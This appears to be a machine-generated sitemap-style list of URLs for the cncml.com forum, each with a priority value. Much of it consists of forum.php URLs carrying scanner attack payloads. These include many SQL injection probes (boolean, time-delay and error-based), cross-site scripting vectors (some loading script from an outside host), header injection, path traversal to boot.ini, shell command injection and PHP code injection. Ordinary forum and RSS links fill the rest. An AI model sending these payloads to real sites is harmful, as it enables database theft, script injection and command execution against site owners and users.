http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=48)%20THEN%20'post'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(68=12)%20THEN%20'post'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%2527 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%2527%20AND%2048=12%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%2527%20AND%2056=56%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%5B%5D 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%5C%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%5C' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%bf%27 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%20'70'='QT 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%20'Iw'='Iw 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20OR%20'9d'='9d'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%20'post'%20ELSE%200x28%20END))%20AND%20'e5'='e5 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=78)%20THEN%20'post'%20ELSE%200x28%20END))%20AND%20'Mp'='Mp 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%2012=17%20AND%20('jF'='jF 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%2038=38%20AND%20('aT'='aT 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(37=14)%20THEN%20'post'%20ELSE%200x28%20END))%20AND%20('Sa'='Sa 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%20'post'%20ELSE%200x28%20END))%20AND%20('92'='92 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post';%20IF(17=71)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post';%20IF(37=37)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post);%20IF(24=24)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post);%20IF(76=57)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post6633x3X6 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=postAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=postJyI%3D 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=postalert(42873) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=poste360 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?aid=MXw1NGMzOTYwOHwxMzY3OTI5ODI2fDB8MTI1&mod=attachment&noupdate=yes 0.0001 http://www.cncml.com/forum.php?auth=0&fid=2&mod=rss 0.0001 http://www.cncml.com/forum.php?auth=0&fid=39&mod=rss 0.0001 http://www.cncml.com/forum.php?auth=0&fid=43&mod=rss 0.0001 http://www.cncml.com/forum.php?auth=0&fid=44&mod=rss 0.0001 http://www.cncml.com/forum.php?auth=0&fid=47&mod=rss 0.0001 http://www.cncml.com/forum.php?auth=0&fid=48&mod=rss 0.0001 http://www.cncml.com/forum.php?digest=1&fid=2&filter=digest&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?digest=1&fid=38&filter=digest&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?digest=1&fid=39&filter=digest&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?digest=1&fid=43&filter=digest&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?digest=1&fid=44&filter=digest&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?digest=1&fid=47&filter=digest&mod=forumdisplay&sortid=2 0.0001 http://www.cncml.com/forum.php?digest=1&fid=48&filter=digest&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?digest=1&fid=48&filter=digest&mod=forumdisplay&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?do=tradeinfo&mod=viewthread&pid=233&tid=222 0.0001 http://www.cncml.com/forum.php?extra=page%3D1%26filter%3Ddigest%26typeid%3D12%26typeid%3D12&mod=viewthread&tid=107 0.0001 http://www.cncml.com/forum.php?fid=2&filter=heat&mod=forumdisplay&orderby=heats 0.0001 http://www.cncml.com/forum.php?fid=2&filter=lastpost&mod=forumdisplay&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?fid=2&filter=typeid&mod=forumdisplay&typeid=14 0.0001 http://www.cncml.com/forum.php?fid=2&filter=typeid&mod=forumdisplay&typeid=5 0.0001 http://www.cncml.com/forum.php?fid=2&filter=typeid&mod=forumdisplay&typeid=6 0.0001 http://www.cncml.com/forum.php?fid=38&filter=heat&mod=forumdisplay&orderby=heats 0.0001 http://www.cncml.com/forum.php?fid=38&filter=lastpost&mod=forumdisplay&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?fid=38&filter=typeid&mod=forumdisplay&orderby=dateline&typeid=15 0.0001 http://www.cncml.com/forum.php?fid=38&filter=typeid&mod=forumdisplay&typeid=15 0.0001 http://www.cncml.com/forum.php?fid=39&filter=dateline&mod=forumdisplay&orderby=views&typeid=12 0.0001 http://www.cncml.com/forum.php?fid=39&filter=heat&mod=forumdisplay&orderby=heats 0.0001 http://www.cncml.com/forum.php?fid=39&filter=hot&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?fid=39&filter=lastpost&mod=forumdisplay&orderby=lastpost&typeid=11 0.0001 http://www.cncml.com/forum.php?fid=39&filter=lastpost&mod=forumdisplay&orderby=lastpost&typeid=13 0.0001 http://www.cncml.com/forum.php?fid=39&filter=typeid&mod=forumdisplay&orderby=lastpost&typeid=12 0.0001 http://www.cncml.com/forum.php?fid=39&filter=typeid&mod=forumdisplay&orderby=lastpost&typeid=13 0.0001 http://www.cncml.com/forum.php?fid=39&filter=typeid&mod=forumdisplay&typeid=11 0.0001 http://www.cncml.com/forum.php?fid=39&filter=typeid&mod=forumdisplay&typeid=12 0.0001 http://www.cncml.com/forum.php?fid=39&filter=typeid&mod=forumdisplay&typeid=13 0.0001 http://www.cncml.com/forum.php?fid=43&filter=heat&mod=forumdisplay&orderby=heats 0.0001 http://www.cncml.com/forum.php?fid=43&filter=lastpost&mod=forumdisplay&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?fid=44&filter=heat&mod=forumdisplay&orderby=heats 0.0001 http://www.cncml.com/forum.php?fid=44&filter=lastpost&mod=forumdisplay&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?fid=47&filter=heat&mod=forumdisplay&orderby=heats 0.0001 http://www.cncml.com/forum.php?fid=47&filter=hot&mod=forumdisplay 0.0001 http://www.cncml.com/forum.php?fid=47&filter=lastpost&mod=forumdisplay&orderby=lastpost&sortid=2 0.0001 http://www.cncml.com/forum.php?fid=47&filter=sortall&mod=forumdisplay&sortall=1 0.0001 http://www.cncml.com/forum.php?fid=48&filter=dateline&mod=forumdisplay&orderby=lastpost 0.0001 http://www.cncml.com/forum.php?fid=48&filter=heat&mod=forumdisplay&orderby=heats 0.0001 http://www.cncml.com/forum.php?gid=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?gid=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?gid=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?gid=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?gid=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?gid=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?gid=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?gid=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?gid=%3Cdir 0.0001 http://www.cncml.com/forum.php?gid=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?gid=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?gid=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?gid=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?gid=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?gid='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?gid='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?gid=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?gid=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?gid=(67=67)*1 0.0001 http://www.cncml.com/forum.php?gid=(76=66)*1 0.0001 http://www.cncml.com/forum.php?gid=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(11=85)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(13=26)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(23=16)%20THEN%201%20ELSE%2023*(SELECT%2023%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%201%20ELSE%2031*(SELECT%2031%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(43=23)%20THEN%201%20ELSE%2043*(SELECT%2043%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(58=72)%20THEN%201%20ELSE%2058*(SELECT%2058%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%201%20ELSE%2082*(SELECT%2082%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?gid=(SELECT%20(CASE%20WHEN%20(87=87)%20THEN%201%20ELSE%2087*(SELECT%2087%20FROM%20mysql.db)%20END)) 0.0001 